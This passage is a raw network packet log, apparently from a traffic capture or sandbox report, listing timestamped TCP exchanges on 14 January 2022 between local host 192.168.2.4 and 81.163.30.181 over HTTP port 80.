Jan 14, 2022 20:29:55.936603069 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.936608076 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.936636925 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.936640978 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.936681032 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.936719894 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.936722040 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.936757088 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.936796904 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.936805010 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.936836958 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.936883926 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.936897039 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.936924934 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.936927080 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.936954021 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.936963081 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.937002897 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.937043905 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.937047958 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.937191963 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.985945940 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.987030029 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.994893074 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.994932890 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.994946957 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.995064020 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.995399952 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.995424986 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.995449066 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.995452881 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.995466948 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.995475054 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.995485067 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.995486975 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.995503902 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.995522022 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.995531082 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.995546103 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.995557070 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.995579958 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.995583057 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.995601892 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.995604038 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.995623112 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.995635033 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.995646000 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.995651960 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.995668888 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.995670080 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.995685101 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.995692968 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.995706081 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.995723009 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.995876074 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.995898962 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.995919943 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.995928049 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.995945930 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.995969057 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.995980024 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.995992899 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.995995998 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.996016979 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.996026039 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.996041059 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.996042013 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.996062040 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.996063948 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.996079922 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.996087074 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.996099949 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.996109962 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.996119976 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.996133089 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.996153116 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.996155977 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.996170044 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.996177912 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.996191025 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.996200085 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.996211052 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.996222019 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.996237040 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.996243954 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.996260881 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.996283054 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.996305943 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.996313095 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.996328115 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.996332884 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.996350050 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.996360064 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.996371031 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.996381998 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.996392965 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.996396065 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.996413946 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.996417046 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.996433973 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.996437073 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.996450901 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.996459007 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.996470928 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.996479034 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.996490002 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.996501923 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.996515989 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.996524096 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.996545076 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.996545076 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.996560097 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.996567011 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.996587992 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.996591091 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.996603012 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.996611118 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.996623039 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.996633053 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.996645927 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.996654034 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.996665001 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.996676922 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.996685028 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.996699095 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.996721029 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.996738911 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.996743917 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.996766090 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.996768951 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.996783972 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.996805906 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.996812105 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.996828079 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.996855974 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.996865988 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.996901989 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.044943094 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.045036077 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.052747965 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.052800894 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.052818060 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.052850962 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.053937912 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.053981066 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.054020882 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.054028988 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.054059982 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.054079056 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.054100037 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.054100990 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.054140091 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.054181099 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.054188013 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.054222107 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.054235935 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.054260015 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.054266930 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.054300070 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.054311991 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.054338932 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.054349899 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.054377079 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.054377079 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.054414988 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.054719925 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.054761887 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.054796934 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.054802895 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.054822922 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.054840088 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.054841995 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.054881096 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.054917097 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.054922104 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.054959059 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.054997921 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.054999113 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.055038929 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.055063963 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.055092096 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.055130005 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.055169106 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.055208921 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.055211067 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.055247068 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.055258036 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.055286884 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.055326939 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.055326939 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.055365086 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.055365086 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.055404902 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.055407047 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.055444002 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.055449009 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.055483103 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.055495977 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.055524111 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.055526018 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.055560112 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.055593967 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.055598974 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.055622101 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.055638075 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.055639982 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.055676937 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.055708885 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.055716038 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.055727959 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.055754900 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.055761099 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.055795908 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.055808067 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.055835962 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.055866957 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.055874109 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.055890083 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.055910110 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.055915117 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.055953026 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.055953979 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.055991888 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.056030989 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.056030989 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.056070089 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.056108952 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.056109905 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.056148052 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.056159019 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.056185007 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.056202888 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.056229115 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.056258917 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.056267977 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.056308031 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.056339025 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.102941036 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.103013039 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.108143091 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.108674049 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.166610003 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.166637897 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.166650057 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.166666031 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.166677952 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.166691065 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.166707993 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.166724920 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.166759014 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.166791916 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.216145992 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.226402998 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.226505041 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.226547956 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.226598024 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.226613045 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.226639032 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.226658106 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.226680994 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.226720095 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.226758957 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.226769924 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.226799011 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.226799965 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.226836920 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.226885080 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.226892948 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.226934910 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.226973057 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.226985931 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.227013111 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.227051973 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.227091074 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.227104902 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.229947090 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.285156012 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.285213947 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.285249949 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.285284996 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.285320044 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.285356045 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.285373926 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.285393953 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.285433054 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.285437107 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.285442114 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.285470009 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.285504103 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.285528898 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.285541058 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.285551071 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.285577059 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.285610914 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.285624027 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.285648108 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.285684109 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.285693884 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.285720110 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.285758018 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.285793066 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.285806894 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.285830021 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.285840034 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.285948038 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.285985947 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.286009073 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.286020994 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.286056995 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.286092997 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.286104918 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.286128044 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.286139965 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.286163092 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.286199093 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.286233902 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.286247969 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.286269903 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.286286116 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.286305904 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.286354065 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.287786961 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.287847042 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.287906885 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.344918013 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.344945908 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.344963074 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.344980955 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.344999075 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.345016003 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.345033884 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.345035076 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.345052004 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.345069885 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.345082998 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.345087051 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.345103979 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.345110893 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.345122099 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.345134974 CET	49882	80	192.168.2.4	81.163.30.181
